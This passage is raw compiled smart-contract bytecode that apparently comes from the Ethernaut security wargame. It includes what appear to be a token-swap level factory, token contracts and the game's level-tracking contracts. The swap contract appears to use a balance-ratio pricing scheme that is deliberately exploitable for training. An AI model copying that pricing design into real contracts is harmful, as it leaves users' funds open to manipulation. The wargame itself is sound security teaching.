a81836020880162001e31565b01949350505050565b602081525f62001b49602083018462001e55565b600181811c908216806200248c57607f821691505b602082108103620024ab57634e487b7160e01b5f52602260045260245ffd5b50919050565b5f60208284031215620024c2575f80fd5b815162001b498162001c68565b5f60208284031215620024e0575f80fd5b5051919050565b8082018082111562001792576200179262002307565b604081525f62002511604083018562001e55565b828103602084015262002525818562001e55565b95945050505050565b5f602082840312156200253f575f80fd5b815167ffffffffffffffff81111562002556575f80fd5b6200237b848285016200215856fe608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6122888061007a5f395ff3fe6080604052600436106200005f575f3560e01c80638da5cb5b11620000465780638da5cb5b14620000b0578063d38def5b14620000ce578063f2fde38b1462000103575f80fd5b8063715018a614620000635780637726f776146200007c575b5f80fd5b3480156200006f575f80fd5b506200007a62000127565b005b620000936200008d3660046200092c565b6200013e565b6040516001600160a01b0390911681526020015b60405180910390f35b348015620000bc575f80fd5b505f546001600160a01b031662000093565b348015620000da575f80fd5b50620000f2620000ec36600462000951565b620005e6565b6040519015158152602001620000a7565b3480156200010f575f80fd5b506200007a620001213660046200092c565b6200079f565b6200013162000839565b6200013c5f62000894565b565b5f806040516200014e90620008fb565b604051809103905ff08015801562000168573d5f803e3d5ffd5b5090505f8190505f81606e604051620001819062000909565b6001600160a01b0390921682526080602083018190526007908301527f546f6b656e20310000000000000000000000000000000000000000000000000060a083015260c0604083018190526004908301527f544b4e310000000000000000000000000000000000000000000000000000000060e0830152606082015261010001604051809103905ff0801580156200021b573d5f803e3d5ffd5b5090505f82606e604051620002309062000909565b6001600160a01b0390921682526080602083018190526007908301527f546f6b656e20320000000000000000000000000000000000000000000000000060a083015260c0604083018190526004908301527f544b4e320000000000000000000000000000000000000000000000000000000060e0830152606082015261010001604051809103905ff080158015620002ca573d5f803e3d5ffd5b506040517fcbc7854e0000000000000000000000000000000000000000000000000000000081526001600160a01b0380851660048301528083166024830152919250839183919087169063cbc7854e906044015f604051808303815f87803b15801562000335575f80fd5b505af115801562000348573d5f803e3d5ffd5b505060405163095ea7b360e01b81526001600160a01b038881166004830152606460248301528716925063095ea7b391506044016020604051808303815f875af115801562000399573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620003bf91906200098d565b5060405163095ea7b360e01b81526001600160a01b0386811660048301526064602483015284169063095ea7b3906044016020604051808303815f875af11580156200040d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200043391906200098d565b5060405163264e889360e01b81526001600160a01b0383811660048301526064602483015287169063264e8893906044015f604051808303815f87803b1580156200047c575f80fd5b505af11580156200048f573d5f803e3d5ffd5b505060405163264e889360e01b81526001600160a01b038481166004830152606460248301528916925063264e889391506044015f604051808303815f87803b158015620004db575f80fd5b505af1158015620004ee573d5f803e3d5ffd5b505060405163a9059cbb60e01b81526001600160a01b038b81166004830152600a60248301528716925063a9059cbb91506044016020604051808303815f875af11580156200053f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200056591906200098d565b5060405163a9059cbb60e01b81526001600160a01b038981166004830152600a602483015284169063a9059cbb906044016020604051808303815f875af1158015620005b3573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620005d991906200098d565b5093979650505050505050565b5f80836001600160a01b031663d21220a76040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000625573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200064b9190620009ae565b90505f846001600160a01b03166325be124e6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200068b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620006b19190620009ae565b6040516370a0823160e01b81526001600160a01b038781166004830152919250908316906370a0823190602401602060405180830381865afa158015620006fa573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620007209190620009cc565b1580156200079657506040516370a0823160e01b81526001600160a01b0386811660048301528216906370a0823190602401602060405180830381865afa1580156200076e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620007949190620009cc565b155b95945050505050565b620007a962000839565b6001600160a01b0381166200082b5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b620008368162000894565b50565b5f546001600160a01b031633146200013c5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640162000822565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610a3b80620009e583390190565b610e33806200142083390190565b6001600160a01b038116811462000836575f80fd5b5f602082840312156200093d575f80fd5b81356200094a8162000917565b9392505050565b5f806040838503121562000963575f80fd5b8235620009708162000917565b91506020830135620009828162000917565b809150509250929050565b5f602082840312156200099e575f80fd5b815180151581146200094a575f80fd5b5f60208284031215620009bf575f80fd5b81516200094a8162000917565b5f60208284031215620009dd575f80fd5b505191905056fe608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6109c18061007a5f395ff3fe608060405234801561000f575f80fd5b50600436106100c4575f3560e01c80638da5cb5b1161007d578063df791e5011610058578063df791e501461017f578063f2fde38b14610192578063f7888aec146101a5575f80fd5b80638da5cb5b14610149578063cbc7854e14610159578063d21220a71461016c575f80fd5b8063264e8893116100ad578063264e88931461010d578063635bc0c214610120578063715018a614610141575f80fd5b8063095ea7b3146100c857806325be124e146100dd575b5f80fd5b6100db6100d6366004610861565b6101b8565b005b6002546100f0906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b6100db61011b366004610861565b61028a565b61013361012e366004610889565b61030b565b604051908152602001610104565b6100db6103f5565b5f546001600160a01b03166100f0565b6100db6101673660046108c2565b610408565b6001546100f0906001600160a01b031681565b6100db61018d366004610889565b61044b565b6100db6101a03660046108f3565b61068d565b6101336101b33660046108c2565b61071d565b60015460405163e1f21c6760e01b81523360048201526001600160a01b038481166024830152604482018490529091169063e1f21c67906064015f604051808303815f87803b158015610209575f80fd5b505af115801561021b573d5f803e3d5ffd5b505060025460405163e1f21c6760e01b81523360048201526001600160a01b03868116602483015260448201869052909116925063e1f21c6791506064015f604051808303815f87803b158015610270575f80fd5b505af1158015610282573d5f803e3d5ffd5b505050505050565b610292610791565b6040516323b872dd60e01b8152336004820152306024820152604481018290526001600160a01b038316906323b872dd906064016020604051808303815f875af11580156102e2573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610306919061090c565b505050565b6040516370a0823160e01b81523060048201525f906001600160a01b038516906370a0823190602401602060405180830381865afa15801561034f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906103739190610932565b6040516370a0823160e01b81523060048201526001600160a01b038516906370a0823190602401602060405180830381865afa1580156103b5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906103d99190610932565b6103e39084610949565b6103ed919061096c565b949350505050565b6103fd610791565b6104065f6107ea565b565b610410610791565b600180546001600160a01b0393841673ffffffffffffffffffffffffffffffffffffffff199182161790915560028054929093169116179055565b6040516370a0823160e01b815233600482015281906001600160a01b038516906370a0823190602401602060405180830381865afa15801561048f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104b39190610932565b10156105065760405162461bcd60e51b815260206004820152601260248201527f4e6f7420656e6f75676820746f2073776170000000000000000000000000000060448201526064015b60405180910390fd5b5f61051284848461030b565b6040516323b872dd60e01b8152336004820152306024820152604481018490529091506001600160a01b038516906323b872dd906064016020604051808303815f875af1158015610565573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610589919061090c565b506040517f095ea7b3000000000000000000000000000000000000000000000000000000008152306004820152602481018290526001600160a01b0384169063095ea7b3906044016020604051808303815f875af11580156105ed573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610611919061090c565b506040516323b872dd60e01b8152306004820152336024820152604481018290526001600160a01b038416906323b872dd906064016020604051808303815f875af1158015610662573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610686919061090c565b5050505050565b610695610791565b6001600160a01b0381166107115760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016104fd565b61071a816107ea565b50565b6040516370a0823160e01b81526001600160a01b0382811660048301525f91908416906370a0823190602401602060405180830381865afa158015610764573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107889190610932565b90505b92915050565b5f546001600160a01b031633146104065760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016104fd565b5f80546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b80356001600160a01b038116811461085c575f80fd5b919050565b5f8060408385031215610872575f80fd5b61087b83610846565b946020939093013593505050565b5f805f6060848603121561089b575f80fd5b6108a484610846565b92506108b260208501610846565b9150604084013590509250925092565b5f80604083850312156108d3575f80fd5b6108dc83610846565b91506108ea60208401610846565b90509250929050565b5f60208284031215610903575f80fd5b61078882610846565b5f6020828403121561091c575f80fd5b8151801515811461092b575f80fd5b9392505050565b5f60208284031215610942575f80fd5b5051919050565b808202811582820484141761078b57634e487b7160e01b5f52601160045260245ffd5b5f8261098657634e487b7160e01b5f52601260045260245ffd5b50049056fea2646970667358221220b06b3477cf4b0a293b58d8e5e0116b11e52ae38e1b535652e333e7bfd7f27fd964736f6c63430008180033608060405234801562000010575f80fd5b5060405162000e3338038062000e3383398101604081905262000033916200023c565b8282600362000043838262000351565b50600462000052828262000351565b5050506200006733826200009160201b60201c565b5050600580546001600160a01b0319166001600160a01b0393909316929092179091555062000443565b6001600160a01b038216620000ec5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b8060025f828254620000ff91906200041d565b90915550506001600160a01b0382165f90815260208190526040812080548392906200012d9084906200041d565b90915550506040518181526001600160a01b038316905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b505050565b634e487b7160e01b5f52604160045260245ffd5b5f82601f8301126200019f575f80fd5b81516001600160401b0380821115620001bc57620001bc6200017b565b604051601f8301601f19908116603f01168101908282118183101715620001e757620001e76200017b565b816040528381526020925086602085880101111562000204575f80fd5b5f91505b8382101562000227578582018301518183018401529082019062000208565b5f602085830101528094505050505092915050565b5f805f806080858703121562000250575f80fd5b84516001600160a01b038116811462000267575f80fd5b60208601519094506001600160401b038082111562000284575f80fd5b62000292888389016200018f565b94506040870151915080821115620002a8575f80fd5b50620002b7878288016200018f565b606096909601519497939650505050565b600181811c90821680620002dd57607f821691505b602082108103620002fc57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156200017657805f5260205f20601f840160051c81016020851015620003295750805b601f840160051c820191505b818110156200034a575f815560010162000335565b5050505050565b81516001600160401b038111156200036d576200036d6200017b565b62000385816200037e8454620002c8565b8462000302565b602080601f831160018114620003bb575f8415620003a35750858301515b5f19600386901b1c1916600185901b17855562000415565b5f85815260208120601f198616915b82811015620003eb57888601518255948401946001909101908401620003ca565b50858210156200040957878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b808201808211156200043d57634e487b7160e01b5f52601160045260245ffd5b92915050565b6109e280620004515f395ff3fe608060405234801561000f575f80fd5b50600436106100cf575f3560e01c806370a082311161007d578063a9059cbb11610058578063a9059cbb1461019e578063dd62ed3e146101b1578063e1f21c67146101e9575f80fd5b806370a082311461015b57806395d89b4114610183578063a457c2d71461018b575f80fd5b806323b872dd116100ad57806323b872dd14610126578063313ce567146101395780633950935114610148575f80fd5b806306fdde03146100d3578063095ea7b3146100f157806318160ddd14610114575b5f80fd5b6100db6101fe565b6040516100e8919061083c565b60405180910390f35b6101046100ff3660046108a3565b61028e565b60405190151581526020016100e8565b6002545b6040519081526020016100e8565b6101046101343660046108cb565b6102a7565b604051601281526020016100e8565b6101046101563660046108a3565b6102ca565b610118610169366004610904565b6001600160a01b03165f9081526020819052604090205490565b6100db610308565b6101046101993660046108a3565b610317565b6101046101ac3660046108a3565b6103c5565b6101186101bf366004610924565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b6101fc6101f73660046108cb565b6103d2565b005b60606003805461020d90610955565b80601f016020809104026020016040519081016040528092919081815260200182805461023990610955565b80156102845780601f1061025b57610100808354040283529160200191610284565b820191905f5260205f20905b81548152906001019060200180831161026757829003601f168201915b5050505050905090565b5f3361029b818585610440565b60019150505b92915050565b5f336102b4858285610597565b6102bf858585610627565b506001949350505050565b335f8181526001602090815260408083206001600160a01b038716845290915281205490919061029b908290869061030390879061098d565b610440565b60606004805461020d90610955565b335f8181526001602090815260408083206001600160a01b0387168452909152812054909190838110156103b85760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760448201527f207a65726f00000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b6102bf8286868403610440565b5f3361029b818585610627565b6005546001600160a01b03908116908416036104305760405162461bcd60e51b815260206004820152600f60248201527f496e76616c6964417070726f766572000000000000000000000000000000000060448201526064016103af565b61043b838383610440565b505050565b6001600160a01b0383166104bb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f726573730000000000000000000000000000000000000000000000000000000060648201526084016103af565b6001600160a01b0382166105375760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f737300000000000000000000000000000000000000000000000000000000000060648201526084016103af565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038381165f908152600160209081526040808320938616835292905220545f19811461062157818110156106145760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016103af565b6106218484848403610440565b50505050565b6001600160a01b0383166106a35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f647265737300000000000000000000000000000000000000000000000000000060648201526084016103af565b6001600160a01b03821661071f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201527f657373000000000000000000000000000000000000000000000000000000000060648201526084016103af565b6001600160a01b0383165f90815260208190526040902054818110156107ad5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e742065786365656473206260448201527f616c616e6365000000000000000000000000000000000000000000000000000060648201526084016103af565b6001600160a01b038085165f908152602081905260408082208585039055918516815290812080548492906107e390849061098d565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161082f91815260200190565b60405180910390a3610621565b5f602080835283518060208501525f5b818110156108685785810183015185820160400152820161084c565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461089e575f80fd5b919050565b5f80604083850312156108b4575f80fd5b6108bd83610888565b946020939093013593505050565b5f805f606084860312156108dd575f80fd5b6108e684610888565b92506108f460208501610888565b9150604084013590509250925092565b5f60208284031215610914575f80fd5b61091d82610888565b9392505050565b5f8060408385031215610935575f80fd5b61093e83610888565b915061094c60208401610888565b90509250929050565b600181811c9082168061096957607f821691505b60208210810361098757634e487b7160e01b5f52602260045260245ffd5b50919050565b808201808211156102a157634e487b7160e01b5f52601160045260245ffdfea2646970667358221220e1b9d8da486aa913e7ce0b8d958615852ff8292906a6341e09d07cfbc6ded95864736f6c63430008180033a2646970667358221220d0d3202e46ffc4e18a7125e8519dfc5ab16446a6f176aa37a4e26bc1c54a748764736f6c63430008180033608060405234801561000f575f80fd5b506101298061001d5f395ff3fe6080604052348015600e575f80fd5b50600436106030575f3560e01c806323b872dd14603457806370a0823114605d575b5f80fd5b6048603f36600460a2565b60019392505050565b60405190151581526020015b60405180910390f35b606e606836600460d6565b50600190565b6040519081526020016054565b803573ffffffffffffffffffffffffffffffffffffffff81168114609d575f80fd5b919050565b5f805f6060848603121560b3575f80fd5b60ba84607b565b925060c660208501607b565b9150604084013590509250925092565b5f6020828403121560e5575f80fd5b60ec82607b565b939250505056fea26469706673582212205c66b68cdfe9a70fa4b6cb503e8a38d2b77a446eef23eeecc738467e2f16510964736f6c63430008180033608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610a6b8061007a5f395ff3fe6080604052600436106100ad575f3560e01c8063be117dfd11610066578063cf0046951161004c578063cf004695146101eb578063dfc86b1714610229578063f2fde38b1461023c575f80fd5b8063be117dfd146101ad578063c882d7c2146101cc575f80fd5b8063715018a611610096578063715018a61461014a5780638da5cb5b1461015e57806395e272bd1461018e575f80fd5b8063202023d4146100b15780634f17afd8146100d2575b5f80fd5b3480156100bc575f80fd5b506100d06100cb3660046109d9565b61025b565b005b3480156100dd575f80fd5b5061011d6100ec3660046109d9565b60036020525f9081526040902080546001909101546001600160a01b0391821691811690600160a01b900460ff1683565b604080516001600160a01b0394851681529390921660208401521515908201526060015b60405180910390f35b348015610155575f80fd5b506100d06102f6565b348015610169575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610141565b348015610199575f80fd5b50600154610176906001600160a01b031681565b3480156101b8575f80fd5b506100d06101c73660046109d9565b610309565b3480156101d7575f80fd5b506100d06101e63660046109d9565b610340565b3480156101f6575f80fd5b506102196102053660046109d9565b60026020525f908152604090205460ff1681565b6040519015158152602001610141565b6100d06102373660046109d9565b610642565b348015610247575f80fd5b506100d06102563660046109d9565b610880565b610263610910565b6001600160a01b038181165f8181526002602052604090819020805460ff191660019081179091555490517fcd819a6f00000000000000000000000000000000000000000000000000000000815260048101929092529091169063cd819a6f906024015f604051808303815f87803b1580156102dd575f80fd5b505af11580156102ef573d5f803e3d5ffd5b5050505050565b6102fe610910565b6103075f610969565b565b610311610910565b6001805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6001600160a01b038082165f908152600360205260409020805490911633146103d65760405162461bcd60e51b815260206004820152603060248201527f5468697320696e7374616e636520646f65736e27742062656c6f6e6720746f2060448201527f7468652063757272656e7420757365720000000000000000000000000000000060648201526084015b60405180910390fd5b6001810154600160a01b900460ff16156104325760405162461bcd60e51b815260206004820181905260248201527f4c6576656c20686173206265656e20636f6d706c6574656420616c726561647960448201526064016103cd565b60018101546040517fd38def5b0000000000000000000000000000000000000000000000000000000081526001600160a01b0384811660048301523360248301529091169063d38def5b906044016020604051808303815f875af115801561049c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104c091906109fb565b156105b95760018181018054600160a01b7fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff82161790915590546040517f2c038c320000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301529283166024820152336044820152911690632c038c32906064015f604051808303815f87803b158015610561575f80fd5b505af1158015610573573d5f803e3d5ffd5b5050505060018101546040516001600160a01b039182169184169033907f5038a30b900118d4e513ba62ebd647a96726a6f81b8fda73c21e9da45df5423d905f90a45050565b60018054908201546040517fd0f191e00000000000000000000000000000000000000000000000000000000081526001600160a01b038581166004830152918216602482015233604482015291169063d0f191e0906064015f604051808303815f87803b158015610628575f80fd5b505af115801561063a573d5f803e3d5ffd5b505050505050565b6001600160a01b0381165f9081526002602052604090205460ff166106a95760405162461bcd60e51b815260206004820152601960248201527f54686973206c6576656c20646f65736e2774206578697374730000000000000060448201526064016103cd565b6040517f7726f7760000000000000000000000000000000000000000000000000000000081523360048201525f906001600160a01b03831690637726f77690349060240160206040518083038185885af1158015610709573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061072e9190610a1a565b60408051606081018252338082526001600160a01b0386811660208085018281525f8688018181528986168083526003909452908890209651875473ffffffffffffffffffffffffffffffffffffffff191690861617875590516001968701805492519186167fffffffffffffffffffffff00000000000000000000000000000000000000000090931692909217600160a01b91151591909102179055935494517f7e4326d3000000000000000000000000000000000000000000000000000000008152600481019490945260248401526044830191909152929350911690637e4326d3906064015f604051808303815f87803b15801561082d575f80fd5b505af115801561083f573d5f803e3d5ffd5b50506040516001600160a01b0380861693508416915033907f8be8bd7b4324b3d47aca5c3f64cb70e8f645e6fe94da668699951658f6384179905f90a45050565b610888610910565b6001600160a01b0381166109045760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016103cd565b61090d81610969565b50565b5f546001600160a01b031633146103075760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103cd565b5f80546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038116811461090d575f80fd5b5f602082840312156109e9575f80fd5b81356109f4816109c5565b9392505050565b5f60208284031215610a0b575f80fd5b815180151581146109f4575f80fd5b5f60208284031215610a2a575f80fd5b81516109f4816109c556fea2646970667358221220f875e80df3dbb1bbf8a1ba93e5adadf18e3885d13abc24020d489fb4c369f37264736f6c63430008180033608060405234801561000f575f80fd5b50611e5d8061001d5f395ff3fe608060405234801561000f575f80fd5b50600436106101bb575f3560e01c80639cbf280d116100f3578063d0f191e011610093578063e2d8716f1161006e578063e2d8716f146103ca578063f3a39909146103dd578063f71d96cb14610408578063fb66d7ab1461041b575f80fd5b8063d0f191e014610391578063d844f6a4146103a4578063e041ae9b146103b7575f80fd5b8063ba5d8082116100ce578063ba5d80821461031d578063bc3086a214610358578063c4d66de81461036b578063cd819a6f1461037e575f80fd5b80639cbf280d146102c7578063a7e1acdf146102da578063b2596a671461030a575f80fd5b80637cbe8d041161015e5780637e4326d3116101395780637e4326d3146102865780638b146ad6146102995780638dc03535146102ac578063900f09ac146102bf575f80fd5b80637cbe8d041461026e5780637ceb9533146102765780637e0ca04f1461027e575f80fd5b80633aa46685116101995780633aa466851461020d5780633d9aeaef14610235578063763fdb45146102485780637a9b6dda1461025b575f80fd5b806322ae77ec146101bf5780632c038c32146101e557806336204198146101fa575b5f80fd5b6101d26101cd366004611cab565b610423565b6040519081526020015b60405180910390f35b6101f86101f3366004611cdc565b61054f565b005b6101d2610208366004611d1c565b6109b1565b6101d261021b366004611d1c565b6001600160a01b03165f9081526010602052604090205490565b6101d2610243366004611d1c565b610a2d565b6101d2610256366004611d1c565b610aab565b6101d2610269366004611d1c565b610b27565b6003546101d2565b6005546101d2565b6002546101d2565b6101f8610294366004611cdc565b610ba3565b6101d26102a7366004611d1c565b610f29565b6101d26102ba366004611cab565b610fa5565b6004546101d2565b6101d26102d5366004611d1c565b611125565b5f546102f2906201000090046001600160a01b031681565b6040516001600160a01b0390911681526020016101dc565b6102f2610318366004611d35565b6111a0565b61034861032b366004611d1c565b6001600160a01b03165f908152600e602052604090205460ff1690565b60405190151581526020016101dc565b6101d2610366366004611d1c565b6111c8565b6101f8610379366004611d1c565b611257565b6101f861038c366004611d1c565b6113a1565b6101f861039f366004611cdc565b6114f0565b6101d26103b2366004611d4c565b61183e565b6101d26103c5366004611d1c565b6119c6565b6103486103d8366004611cab565b611a44565b6103486103eb366004611d1c565b6001600160a01b03165f908152600f602052604090205460ff1690565b6102f2610416366004611d35565b611b3f565b6001546101d2565b6001600160a01b0381165f908152600e6020526040812054829060ff166104885760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b60448201526064015b60405180910390fd5b836104aa816001600160a01b03165f908152600f602052604090205460ff1690565b6104ec5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038481165f908152600d6020908152604080832089851684529091529020541661051d575f610546565b6001600160a01b038085165f908152600d60209081526040808320938916835292905220600301545b95945050505050565b5f546201000090046001600160a01b031633146105bc5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b816105de816001600160a01b03165f908152600f602052604090205460ff1690565b6106205760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b81610642816001600160a01b03165f908152600e602052604090205460ff1690565b6106855760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166107065760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146107905760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff161561080c5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600c6020908152604080832093881683529290529081205490036108df576001600160a01b0383165f90815260066020526040812080549161085c83611d99565b90915550506001600160a01b038084165f818152600c602090815260408083209489168352938152838220429055918152600690915290812054906108a2858784611b4e565b90508181866001600160a01b03167f18f89fb58208351d054bc0794e723a333ae0a74acd73825a9f31d89af0c6755160405160405180910390a450505b6001600160a01b038084165f908152600d6020908152604080832093881680845293825280832060038101805460018181018355918652848620429101819055600283015594845280547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff16600160a01b179055600a909152812090910180549161096983611d99565b909155505060048054905f61097d83611d99565b90915550506001600160a01b0383165f9081526008602052604081208054916109a583611d99565b91905055505050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610a115760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526006602052604090205490565b6001600160a01b0381165f908152600f6020526040812054829060ff16610a8c5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090206001015490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b0b5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526008602052604090205490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b875760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526009602052604090205490565b5f546201000090046001600160a01b03163314610c105760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b81610c32816001600160a01b03165f908152600f602052604090205460ff1690565b610c745760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b0382165f908152600e602052604090205460ff16610d00576001805480820182557fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf601805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0385169081179091555f908152600e60205260409020805460ff191690911790555b6001600160a01b038281165f908152600d60209081526040808320878516845290915290205416610d53576001600160a01b038083165f908152600b602090815260408083209387168352929052204290555b6040805160a0810182526001600160a01b0380871682525f60208084018290524284860152606084018290528683168252600d815284822092881682529190915291822060030154909160808301919003610dbb57604080515f815260208101909152610e2b565b6001600160a01b038085165f908152600d6020908152604080832093891683529281529082902060030180548351818402810184019094528084529091830182828015610e2557602002820191905f5260205f20905b815481526020019060010190808311610e11575b50505050505b90526001600160a01b038084165f908152600d60209081526040808320888516845282529182902084518154868401511515600160a01b027fffffffffffffffffffffff00000000000000000000000000000000000000000090911691909516179390931783559083015160018301556060830151600283015560808301518051610ebc9260038501920190611c33565b5050506001600160a01b0383165f908152600a60205260408120805491610ee283611d99565b909155505060038054905f610ef683611d99565b90915550506001600160a01b0382165f908152600760205260408120805491610f1e83611d99565b919050555050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610f895760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526007602052604090205490565b6001600160a01b0382165f908152600e6020526040812054839060ff166110055760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b82611027816001600160a01b03165f908152600f602052604090205460ff1690565b6110695760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038086165f908152600c6020908152604080832093881683529290529081205490036110de5760405162461bcd60e51b815260206004820152601360248201527f4c6576656c206e6f7420636f6d706c6574656400000000000000000000000000604482015260640161047f565b6001600160a01b